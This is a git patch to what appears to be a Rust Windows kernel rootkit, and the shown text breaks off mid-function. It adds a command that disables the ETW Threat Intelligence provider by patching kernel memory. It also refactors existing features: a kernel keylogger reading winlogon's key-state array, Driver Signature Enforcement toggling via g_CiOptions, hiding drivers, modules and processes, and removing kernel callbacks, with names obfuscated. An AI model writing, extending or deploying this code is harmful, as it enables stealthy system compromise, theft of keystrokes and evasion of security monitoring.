From 890f288af48cba1ea12d93f08a0e24b0848d8b18 Mon Sep 17 00:00:00 2001 From: joaoviictorti Date: Mon, 16 Sep 2024 23:46:56 -0300 Subject: [PATCH] feat: Refactor code to add ETWTI functionality and remove duplication, integrating scan_for_pattern for optimization --- client/src/cli.rs | 11 ++ client/src/main.rs | 19 ++- client/src/modules/misc.rs | 41 +++++- driver/.gitignore | 3 +- driver/Cargo.toml | 5 +- driver/src/callback/find_callback.rs | 196 ++++----------------------- driver/src/driver/mod.rs | 69 +++------- driver/src/lib.rs | 4 +- driver/src/misc/etwti.rs | 53 ++++++++ driver/src/misc/ioctls.rs | 25 +++- driver/src/misc/keylogger/mod.rs | 43 ++---- driver/src/misc/mod.rs | 5 +- driver/src/module/mod.rs | 2 +- driver/src/process/callback.rs | 6 +- driver/src/process/mod.rs | 12 +- driver/src/registry/utils.rs | 4 - driver/src/thread/callback.rs | 6 +- driver/src/thread/mod.rs | 14 +- driver/src/utils/address.rs | 24 +--- driver/src/utils/mod.rs | 6 +- driver/src/utils/patterns.rs | 78 +++++++---- shared/src/ioctls.rs | 4 +- shared/src/structs/mod.rs | 7 + 23 files changed, 283 insertions(+), 354 deletions(-) create mode 100644 driver/src/misc/etwti.rs diff --git a/client/src/cli.rs b/client/src/cli.rs index 5cb416a..6f7b435 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -266,6 +266,17 @@ pub enum MisCommands { #[arg(long)] start: bool, }, + + /// Operations related to ETWTI. + Etwti { + /// Disable ETWTI. + #[arg(long)] + disable: bool, + + /// Enable ETWTI. + #[arg(long)] + enable: bool, + } } /// Enum representing the subcommands for module operations. diff --git a/client/src/main.rs b/client/src/main.rs index 94a0000..3ce91da 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -9,17 +9,17 @@ use { env_logger::Builder, }; use modules::{ - callback::{enumerate_callback, remove_callback, restore_callback}, - driver::{enumerate_driver, unhide_hide_driver}, - injection::{injection_apc, injection_thread}, - misc::{dse, keylogger}, + misc::{dse, etwti, keylogger}, module::{enumerate_module, hide_module}, + callback::{enumerate_callback, remove_callback, restore_callback}, + driver::{enumerate_driver, unhide_hide_driver}, + injection::{injection_apc, injection_thread}, + thread::{enumerate_thread, hide_unhide_thread}, process::{ elevate_process, enumerate_process, hide_unhide_process, signature_process, terminate_process }, - thread::{enumerate_thread, hide_unhide_thread} }; #[cfg(not(feature = "mapper"))] @@ -163,6 +163,15 @@ fn main() { keylogger(IOCTL_KEYLOGGER, false); } }, + MisCommands::Etwti { disable, enable } => { + if *enable { + info!("Enable ETWTI"); + etwti(IOCTL_ETWTI, true); + } else if *disable { + info!("Disable ETWTI"); + etwti(IOCTL_ETWTI, false); + } + }, }, #[cfg(not(feature = "mapper"))] diff --git a/client/src/modules/misc.rs b/client/src/modules/misc.rs index a3e4de9..d5043a8 100644 --- a/client/src/modules/misc.rs +++ b/client/src/modules/misc.rs @@ -1,7 +1,7 @@ use { log::*, crate::utils::open_driver, - shared::structs::{Keylogger, DSE}, + shared::structs::{Keylogger, DSE, ETWTI}, std::{ffi::c_void, mem::size_of, ptr::null_mut}, windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError}, @@ -47,9 +47,13 @@ pub fn dse(ioctl_code: u32, enable: bool) { pub fn keylogger(ioctl_code: u32, state: bool) { let h_file = open_driver().expect("Failed open driver"); let mut return_buffer = 0; + + debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" }); let mut keylogger = Keylogger { enable: state }; + + debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" }); let status = unsafe { DeviceIoControl( h_file, @@ -74,3 +78,38 @@ pub fn keylogger(ioctl_code: u32, state: bool) { CloseHandle(h_file); }; } + +pub fn etwti(ioctl_code: u32, enable: bool) { + let h_file = open_driver().expect("Failed open driver"); + let mut return_buffer = 0; + + debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" }); + let mut etwti = ETWTI { + enable + }; + + debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" }); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut etwti as *mut _ as *mut c_void, + std::mem::size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("ETWTI {}", if enable { "enable" } else { "disable" }) + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} diff --git a/driver/.gitignore b/driver/.gitignore index 186c046..1f5b862 100644 --- a/driver/.gitignore +++ b/driver/.gitignore @@ -1,4 +1,3 @@ /target /src/backup -/src/misc/memory.rs -/src/misc/etw.rs \ No newline at end of file +/src/misc/memory.rs \ No newline at end of file diff --git a/driver/Cargo.toml b/driver/Cargo.toml index 2d75213..b7a134c 100644 --- a/driver/Cargo.toml +++ b/driver/Cargo.toml @@ -34,4 +34,7 @@ panic = "abort" [features] mapper = [] -[package.metadata.wdk] +[package.metadata.wdk.driver-model] +driver-type = "KMDF" +kmdf-version-major = 1 +target-kmdf-version-minor = 33 \ No newline at end of file diff --git a/driver/src/callback/find_callback.rs b/driver/src/callback/find_callback.rs index dec88bf..2696d91 100644 --- a/driver/src/callback/find_callback.rs +++ b/driver/src/callback/find_callback.rs @@ -1,8 +1,7 @@ -use shared::vars::Callbacks; -use crate::{includes::structs::FULL_OBJECT_TYPE, utils}; -use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType}; use obfstr::obfstr; -use core::ptr::null_mut; +use shared::vars::Callbacks; +use crate::{includes::structs::FULL_OBJECT_TYPE, utils::{self, patterns::scan_for_pattern}}; +use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType}; /// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. /// @@ -13,47 +12,12 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> { let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); - let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x14); - // e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8) let instructions = [0xE8]; + let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14, i32::from_le_bytes)?; - if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) { - let position = y + 1; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - // e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8) - let call_address = function_address.cast::().offset(y as isize); - // 4883c428 add rsp,28h - let next_address = call_address.cast::().offset(5); - let psp_set_create_process = next_address.offset(offset as isize); - - let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98); - - // 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)] - let instructions = [0x4C, 0x8D, 0x2D]; - - if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - // 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)] - let lea_address = psp_set_create_process.cast::().offset(x as isize); - // 488d0cdd00000000 lea rcx,[rbx*8] - let next_address = lea_address.offset(7); - let psp_set_create_process = next_address.offset(offset as isize); - - return Some(psp_set_create_process) - } - } - - None + let instructions = [0x4C, 0x8D, 0x2D]; + scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98, i32::from_le_bytes) } /// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine. @@ -64,29 +28,10 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> { unsafe fn find_ps_create_thread() -> Option<*mut u8> { let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); - - let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50); // 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)] let instructions = [0x48, 0x8D, 0x0D]; - - if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - // 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)] - let lea_address = function_address.cast::().offset(x as isize); - // 488d2cf9 lea rbp,[rcx+rdi*8] - let next_address = lea_address.offset(7); - let psp_set_create_thread = next_address.offset(offset as isize); - - return Some(psp_set_create_thread); - } - - None + scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes) } /// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine. @@ -96,30 +41,11 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> { /// unsafe fn find_ps_load_image() -> Option<*mut u8> { let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50); + let function_address = MmGetSystemRoutineAddress(&mut name); // 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)] let instructions = [0x48, 0x8D, 0x0D]; - - if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - // 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)] - let lea_address = function_address.cast::().offset(x as isize); - // 488d2cf9 lea rbp,[rcx+rdi*8] - let next_address = lea_address.offset(7); - let psp_load_image = next_address.offset(offset as isize); - - return Some(psp_load_image); - } - - None + scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes) } /// Finds the address of the `CmRegisterCallbackEx` routine. @@ -130,99 +56,29 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> { unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{ let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); - let mut callback_list_header = null_mut(); - let mut callback_count = null_mut(); - let mut callback_list_lock = null_mut(); - - let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50); // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08) let register_internal_pattern = [0xE8]; + let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50, i32::from_le_bytes)?; + + // 488bcb mov rcx,rbx + // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) + let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8]; + let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108, i32::from_le_bytes)?; - if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) { - let position = x + 1; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08) - let call_address = function_address.cast::().offset(x as isize); - // 4883c438 add rsp,38h - let next_address = call_address.offset(5); - let register_callback_internal = next_address.offset(offset as isize); + // 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)] + let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; + let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200, i32::from_le_bytes)?; - let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108); + // 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)] + let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; + let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200, i32::from_le_bytes)?; - // 488bcb mov rcx,rbx - // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) - let insert_pattern = [0x8B, 0xCB, 0xE8]; + // f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)] + let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; + let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200, i32::from_le_bytes)?; - if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) - let call_insert_address = register_callback_internal.cast::().offset((x + 2) as isize); - // 488b4c2458 mov rcx,qword ptr [rsp+58h] - let next_address = call_insert_address.offset(5); - let insert_call_address = next_address.offset(offset as isize); - - let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200); - - // 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)] - let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; - // 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)] - let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; - // f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)] - let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; - - if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - let lea_address = insert_call_address.cast::().offset(x as isize); - let next_address = lea_address.offset(7); - callback_list_lock = next_address.offset(offset as isize); - }; - - if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - let lea_address = insert_call_address.cast::().offset(x as isize); - let next_address = lea_address.offset(7); - callback_list_header = next_address.offset(offset as isize); - }; - - if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) { - let position = x + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(i32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - let lea_address = insert_call_address.cast::().offset(x as isize); - let next_address = lea_address.offset(7); - callback_count = next_address.offset(offset as isize); - }; - } - - if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() { - return Some((callback_list_header, callback_count, callback_list_lock)); - } - } - - None + Some((callback_list_header, callback_count, callback_list_lock)) } /// Finds the address of the `ObRegisterCallbacks` routine. @@ -240,7 +96,7 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJEC let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }; Some(object_type) }, - _ => return None + _ => None } } diff --git a/driver/src/driver/mod.rs b/driver/src/driver/mod.rs index 3c767ec..fde3719 100644 --- a/driver/src/driver/mod.rs +++ b/driver/src/driver/mod.rs @@ -1,21 +1,12 @@ use { - obfstr::obfstr, - spin::{mutex::Mutex, lazy::Lazy}, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - core::sync::atomic::{AtomicPtr, Ordering}, - alloc::{string::String, vec::Vec, boxed::Box}, - crate::utils::{address::{get_function_address, get_module_base_address}, uni}, - shared::{ + crate::utils::{address::{get_function_address, get_module_base_address}, patterns::scan_for_pattern, uni}, alloc::{boxed::Box, string::String, vec::Vec}, core::sync::atomic::{AtomicPtr, Ordering}, ntapi::ntldr::LDR_DATA_TABLE_ENTRY, obfstr::obfstr, shared::{ structs::{ - DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY, - TargetDriver + DriverInfo, HiddenDriverInfo, TargetDriver, DSE, LIST_ENTRY }, vars::MAX_DRIVER - }, - wdk_sys::{ - ntddk::MmGetSystemRoutineAddress, STATUS_INVALID_PARAMETER, - NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, - }, + }, spin::{lazy::Lazy, mutex::Mutex}, wdk_sys::{ + ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_INVALID_PARAMETER, STATUS_SUCCESS, STATUS_UNSUCCESSFUL + } }; pub mod ioctls; @@ -36,13 +27,11 @@ impl Driver { /// pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS { let name = &(*driver).name; - let status = if (*driver).enable { + if (*driver).enable { Self::hide_driver(name) } else { Self::unhide_driver(name) - }; - - status + } } /// Hides the driver by unlinking it from the loaded module list. @@ -110,10 +99,10 @@ impl Driver { /// # Return /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. /// - unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS { + unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS { let mut driver_info = DRIVER_INFO_HIDE.lock(); - if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) { + if let Some(index) = driver_info.iter().position(|p| p.name == driver_name) { let driver = &driver_info[index]; let list_entry = driver.list_entry.load(Ordering::SeqCst); if list_entry.is_null() { @@ -198,43 +187,19 @@ impl Driver { pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> { let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?; let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?; - let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89); // mov ecx,ebp let instructions = [0x8B, 0xCD]; + let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?; - if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) { - let position = y + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(u32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - let new_base = function_address.cast::().offset((position + 4) as isize); - let c_ip_initialize = new_base.cast::().offset(offset as isize); + // mov rbp,r9 + let instructions = [0x49, 0x8b, 0xE9]; + let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?; - // mov rbp,r9 - let instructions = [0x49, 0x8b, 0xE9]; - - let c_ip_initialize_slice = core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21); - - if let Some(i) = c_ip_initialize_slice.windows(instructions.len()).position(|windows| *windows == instructions) { - let position = i + 5; - let offset = c_ip_initialize_slice[position..position + 4] - .try_into() - .map(u32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - let new_offset = 0xffffffff00000000 + offset as u64; - let new_base = c_ip_initialize.cast::().offset((position + 4) as isize); - let g_ci_options = new_base.cast::().offset(new_offset as isize); - - if (*info_dse).enable { - *(g_ci_options as *mut u64) = 0x0006 as u64; - } else { - *(g_ci_options as *mut u64) = 0x000E as u64; - } - } + if (*info_dse).enable { + *(g_ci_options as *mut u64) = 0x0006_u64; + } else { + *(g_ci_options as *mut u64) = 0x000E_u64; } Ok(()) diff --git a/driver/src/lib.rs b/driver/src/lib.rs index d74b2cf..177079c 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -227,7 +227,7 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) { } let mut interval = LARGE_INTEGER { - QuadPart: -1 * (50 * 10000 as i64), + QuadPart: -1 * -(50 * 10000_i64), }; KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); @@ -292,7 +292,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS } // Creating callbacks related to registry operations - let mut altitude = uni::str_to_unicode("31122.6172").to_unicode(); + let mut altitude = uni::str_to_unicode("31422.6172").to_unicode(); status = CmRegisterCallbackEx( Some(registry_callback), &mut altitude, diff --git a/driver/src/misc/etwti.rs b/driver/src/misc/etwti.rs new file mode 100644 index 0000000..e2f3b71 --- /dev/null +++ b/driver/src/misc/etwti.rs @@ -0,0 +1,53 @@ +use { + obfstr::obfstr, + shared::structs::ETWTI, + crate::utils::{patterns::scan_for_pattern, uni}, + wdk_sys::{ + ntddk::MmGetSystemRoutineAddress, + NTSTATUS, STATUS_UNSUCCESSFUL + } +}; + +/// Represents ETW in the operating system. +pub struct Etw; + +impl Etw { + /// Enables or disables ETW tracing by manipulating the `ETWTI` structure. + /// + /// # Parameters + /// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing. + /// + /// # Return + /// - `NTSTATUS`: A status code indicating success or failure of the operation. + /// + pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> { + let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode(); + let function_address = MmGetSystemRoutineAddress(&mut function_name); + let pattern = [ + 0x33, 0xD2, // 33d2 xor edx,edx + 0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff807`41c19918)] + ]; + + let etwi_handle = scan_for_pattern(function_address, &pattern, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?; + let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO; + (*trace_info).is_enabled = if (*info).enable { + 0x01 + } else { + 0x00 + }; + + Ok(()) + } +} + +#[repr(C)] +pub struct TRACE_ENABLE_INFO { + is_enabled: u32, + level: u8, + reserved1: u8, + loggerid: u16, + enable_property: u32, + reserved2: u32, + match_any_keyword: u64, + match_all_keyword: u64 +} \ No newline at end of file diff --git a/driver/src/misc/ioctls.rs b/driver/src/misc/ioctls.rs index 167b4a9..0595597 100644 --- a/driver/src/misc/ioctls.rs +++ b/driver/src/misc/ioctls.rs @@ -1,11 +1,11 @@ use { - super::keylogger::set_keylogger_state, - crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, alloc::boxed::Box, - hashbrown::HashMap, - shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, - structs::{Keylogger, DSE}}, + hashbrown::HashMap, + shared::structs::{Keylogger, DSE, ETWTI}, + super::keylogger::set_keylogger_state, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, + shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI}, + crate::{driver::Driver, handle_driver, misc::etwti::Etw, utils::ioctls::IoctlHandler}, }; pub fn get_misc_ioctls(ioctls: &mut HashMap) { @@ -13,9 +13,7 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap) { // Responsible for enabling/disabling DSE. ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENABLE_DSE"); - let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) }; - unsafe { (*irp).IoStatus.Information = 0 }; match status { @@ -29,6 +27,19 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap) { log::info!("Received IOCTL_KEYLOGGER"); let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) }; unsafe { (*irp).IoStatus.Information = 0 }; + status }) as IoctlHandler); + + // Responsible for enabling/disabling ETWTI. + ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ETWTI"); + let status = unsafe { handle_driver!(stack, Etw::etwti_enable_disable, ETWTI) }; + unsafe { (*irp).IoStatus.Information = 0 }; + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } + }) as IoctlHandler); } \ No newline at end of file diff --git a/driver/src/misc/keylogger/mod.rs b/driver/src/misc/keylogger/mod.rs index 90c6724..77e3f55 100644 --- a/driver/src/misc/keylogger/mod.rs +++ b/driver/src/misc/keylogger/mod.rs @@ -1,23 +1,23 @@ use { + keys::VK_CHARS, + obfstr::obfstr, + shared::structs::Keylogger, + core::{ffi::c_void, mem::size_of}, crate::{ - get_ks_byte, get_ks_down_bit, - is_key_down, set_key_down, - includes::MmCopyVirtualMemory, process::Process, + get_ks_byte, get_ks_down_bit, includes::MmCopyVirtualMemory, + is_key_down, process::Process, set_key_down, utils::{ address::{get_address_asynckey, get_module_base_address}, - get_process_by_name, process_attach::ProcessAttach + get_process_by_name, patterns::scan_for_pattern, + process_attach::ProcessAttach } }, - core::{ffi::c_void, mem::size_of}, - keys::VK_CHARS, - obfstr::obfstr, - shared::structs::Keylogger, wdk_sys::{ ntddk::{ IoGetCurrentProcess, KeDelayExecutionThread, PsTerminateSystemThread, }, - LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, _MODE::KernelMode, + LARGE_INTEGER, NTSTATUS, STATUS_SUCCESS, _MODE::KernelMode, } }; @@ -63,7 +63,7 @@ fn vk_to_char(key: u8) -> &'static str { /// # Parameters /// - `address`: Array address `gafAsyncKeyState`. /// -unsafe fn update_key_state(address: *mut c_void) { +unsafe fn update_key_state(address: *mut u8) { core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64); if !initialize_winlogon_process() { @@ -74,7 +74,7 @@ unsafe fn update_key_state(address: *mut c_void) { let mut return_number = 0; MmCopyVirtualMemory( winlogon_eprocess.e_process, - address, + address as _, IoGetCurrentProcess(), KEY_STATE.as_ptr() as *mut c_void, size_of::<[u8; 64]>() as u64, @@ -151,7 +151,7 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) { } let mut interval = LARGE_INTEGER { - QuadPart: -1 * (50 * 10000 as i64), + QuadPart: -1 * -(50 * 10000_i64), }; KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); @@ -166,9 +166,9 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) { /// # Returns /// `Option`: The address of the `gafAsyncKeyState` array if found, otherwise `None`. /// -unsafe fn get_gafasynckeystate_address() -> Option { +unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> { if !initialize_winlogon_process() { - return None; + return None } let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?; @@ -183,20 +183,7 @@ unsafe fn get_gafasynckeystate_address() -> Option { // fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax let instructions = [0x48, 0x8B, 0x05]; - if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) { - let position = y + 3; - let offset = function_bytes[position..position + 4] - .try_into() - .map(u32::from_le_bytes) - .expect("Slice length is not 4, cannot convert"); - - let new_base = function_address.cast::().offset((position + 4) as isize); - let gaf_async_key_state = new_base.cast::().offset(offset as isize); - - return Some(gaf_async_key_state as PVOID); - } - - None + scan_for_pattern(function_address, &instructions, 3, 7, 0x200, u32::from_le_bytes) } /// Sets the keylogger status. diff --git a/driver/src/misc/mod.rs b/driver/src/misc/mod.rs index 2f62aa7..7a8c27b 100644 --- a/driver/src/misc/mod.rs +++ b/driver/src/misc/mod.rs @@ -1,4 +1,3 @@ -// pub mod etw; +pub mod etwti; pub mod keylogger; -pub mod ioctls; -// pub mod memory; \ No newline at end of file +pub mod ioctls; \ No newline at end of file diff --git a/driver/src/module/mod.rs b/driver/src/module/mod.rs index ea327dc..7feae05 100644 --- a/driver/src/module/mod.rs +++ b/driver/src/module/mod.rs @@ -158,7 +158,7 @@ impl Module { return Err(STATUS_UNSUCCESSFUL); } - let dll_name = alloc::string::String::from_utf16_lossy(&buffer); + let dll_name = alloc::string::String::from_utf16_lossy(buffer); if module_name.contains(&dll_name.to_lowercase()) { // Removes the module from the load order list Self::remove_link(&mut (*list_entry).InLoadOrderLinks); diff --git a/driver/src/process/callback.rs b/driver/src/process/callback.rs index d748be6..659a92d 100644 --- a/driver/src/process/callback.rs +++ b/driver/src/process/callback.rs @@ -32,13 +32,11 @@ static TARGET_PIDS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_ /// pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS { let pid = unsafe { (*process).pid }; - let status = if unsafe { (*process).enable } { + if unsafe { (*process).enable } { add_target_pid(pid) } else { remove_target_pid(pid) - }; - - status + } } /// Method for adding the list of processes that will have anti-kill / dumping protection. diff --git a/driver/src/process/mod.rs b/driver/src/process/mod.rs index f02e029..92377cc 100644 --- a/driver/src/process/mod.rs +++ b/driver/src/process/mod.rs @@ -177,7 +177,7 @@ impl Process { /// Toggles the enumeration between hiding or protecting processes based on the options provided. /// - /// # Arguments + /// # Parameters /// - `input_target`: Pointer to the enumeration information input structure. /// - `info_process`: Information structure of processes. /// - `information`: Pointer to a variable to store information size. @@ -186,23 +186,19 @@ impl Process { /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS { - let status; - match (*input_target).options { Options::Hide => { - status = 